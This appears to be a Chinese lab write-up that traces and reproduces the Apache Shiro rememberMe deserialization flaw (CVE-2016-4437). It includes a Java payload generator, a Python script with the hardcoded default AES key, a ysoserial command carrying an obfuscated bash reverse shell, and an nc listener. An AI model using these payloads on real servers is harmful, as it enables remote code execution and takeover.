一、漏洞简介

​ Apache Shiro 作为常用的 Java安全框架,拥有执行身份验证、授权、密码和会话管理等功能,可以和不同的框架进行整合,比如 springboot、spring 等,使用十分方便。

影响版本:

Apache Shiro <= 1.2.4

漏洞原因:

Apache Shiro 默认使用了CookieRememberMeManage。

其处理cookie的流程:

1、得到Cookie中RemeberMe字段的值

2、base64解码

3、AES解密

4、反序列化

然而这里的AES的密匙是硬编码(即密匙是写死在代码中的),所以可以

下面是登陆成功时,Set-Cookie 设置rememberMe字段的内容

image-20220715184421205

二、rememberMe字段生成过程

这里下载了网上的代码,使用 springboot + shiro ,为了更好地理解其中的步骤

首先进入登录页面,输入账号密码:admin/123

1、登录

主要注意这里的subject.login(token),token就是账号密码生成的

image-20220715190000917

跟进subject.login(token)

image-20220715190324602

跟进this.securityManager.login

image-20220715190748589

继续跟进this.authenticate(token),关注这个info对象,info返回的是 SimpleAuthenticationinfo 对象,就是 admin

image-20220715191858931

跟进到this.onSuccessfulLogin(),info对象被传到 该方法中:

image-20220715192454810

继续跟进,这里的rmm获取到的是 CookieRemeberMeManager对象,调用它的方法:

image-20220715192939930

继续跟进rmm.onSuccessfulLogin(),这里的第一步是用来清除cookie的:

image-20220715193234931

image-20220715193445075

继续跟进 removeForm方法:

image-20220715193833820

这里的操作是设置set-cookie的值的,其实就是我们看到的这一部分:

image-20220715194103857

接下来回到rmm.onSuccessfulLogin()方法,跟进this.rememberIdentity()方法:

image-20220715205846648

跟进rememberIdentity()

这里应该就是序列化对象的操作了,给rememberMe字段添加内容

image-20220715210136541

序列化(serialize)之后就是AES加密(encrypt),下图getEncryptionCipherKey()获取的就是硬编码的密匙:

image-20220715211910387

在这个抽象类被实例化后(子类继承后),默认的密匙和加密对象就已经设置好了(硬编码):

image-20220715212140815

回到上面,跟进this.rememberSerializedIdentity()方法:

这一步就是base64编码,并且将编码后的数据放到cookie中,也就是我们cookie中所看到的数据了

image-20220715212613967

image-20220715212804239

到这里,我们已经把rememberMe字段生成的整个流程看了一遍(也就是加密的过程)

三、反序列化利用

上面是加密,这一步就是解密了

加密的流程为:

序列化 –> AES加密 –> base64编码

那么解密就是:

base64解码 –> AES解密 –> 反序列化

同样,如果我们想构造payload,同样要经过加密的流程

package com.example.demo3.demo;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.ClassResolvingObjectInputStream;

import java.io.*;

public class Demo1 extends AesUtils {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
//        SimpleAuthenticationInfo info = new SimpleAuthenticationInfo(test, "", "");
        Test test = new Test();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        // 1. 序列化恶意对象
        // 创建对象输出流,用于序列化对象
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(test);

        // 2. 加密恶意对象(byte数组)
        AesUtils aesUtils = new AesUtils();
        byte[] encryptByte = aesUtils.encrypt(baos.toByteArray());

        // 3. 转为base64
        String base64 = Base64.encodeToString(encryptByte);
        System.out.println(base64);

    }
}

class Test implements Serializable {

    private void readObject(ObjectInputStream in) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行后生成payload:

image-20220716172617284

bp发送payload,弹出计算器:

image-20220716172651188

到这整个流程就结束了

反序列化问题

在自己复现的过程最后那个还是遇到了一些问题

上面的代码在项目中已经存在的,所以反序列化时可以成功,但当时我把上面的代码复制出来运行时就会报错:

image-20220716173031336

image-20220716173058448

显示无法加载该类(应该就是因为类文件不存在的原因)

那么面对一个未知的情况,我们如何构造?

下面利用python脚本生成的是JRMPClient的payload

四、ysoserial-JRMP模块分析

在对CVE-2016-4437漏洞复现的其他WP中,都使用了ysoserial-JRMP模块

4.1 具体流程:

1、vps上利用ysoserial工具开启一个JRMP监听端口

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'

image-20220716204017189

2、利用检测到的AES密匙,使用脚本生成rememberMe字段的加密内容

python shiro.py 192.168.241.129:6666		//python2运行
//这里的端口就是JRMP的端口
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  #密匙
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

这里的原理应该是序列化了一个JRMPClient类(使用的是ysoserial),然后利用python给序列化数据进行AES加密,在这一步之前还有异步检测密匙,不同版本的默认密匙应该不同,最后就是base64编码

3、在vps上监听端口

这里监听的端口是第一步JRMP中payload中反弹shell的端口

nc -lvvp 4444

4、bp在客户端发送第二步生成的rememberMe的值,反弹shell(这里我没有反弹成功,也不知道为什么)

image-20220716211449101

4.2 JRMP协议

什么是JRMP?

全称Java Remote Method Protocol,也就是Java远程方法协议

该协议基于TCP/IP协议之上,在RMI协议之下,也就是说RMI传递时,底层使用的是JRMP协议,而JRMP底层则是基于TCP传递

RMI默认使用JRMP协议传递数据(并不唯一),并且JRMP协议只能作用于RMI协议(唯一)

总的来说,RMI协议集合了Java序列化和Java远程方法协议(Java Remote Method Protocol),是一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,是分布式应用之间调用的一种手段。笔者个人的理解就是它实现了 java 远程模块之间的共享。

小饭店原来只有一个厨师,切菜洗菜备料炒菜全干。后来客人多了,厨房一个厨师忙不过来,又请了个厨师,两个厨师都能炒一样的菜,这两个厨师的关系是集群。为了让厨师专心炒菜,把菜做到极致,又请了个配菜师负责切菜,备菜,备料,厨师和配菜师的关系是分布式,一个配菜师也忙不过来了,又请了个配菜师,两个配菜师关系是集群。

参考链接:

https://blog.csdn.net/qq_45927266/article/details/120274446

https://blog.csdn.net/huangyongkang666/article/details/124175812

https://blog.csdn.net/web15085599741/article/details/124021526?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-124021526-blog-120274446.pc_relevant_multi_platform_whitelistv2_ad_hc&spm=1001.2101.3001.4242.2&utm_relevant_index=4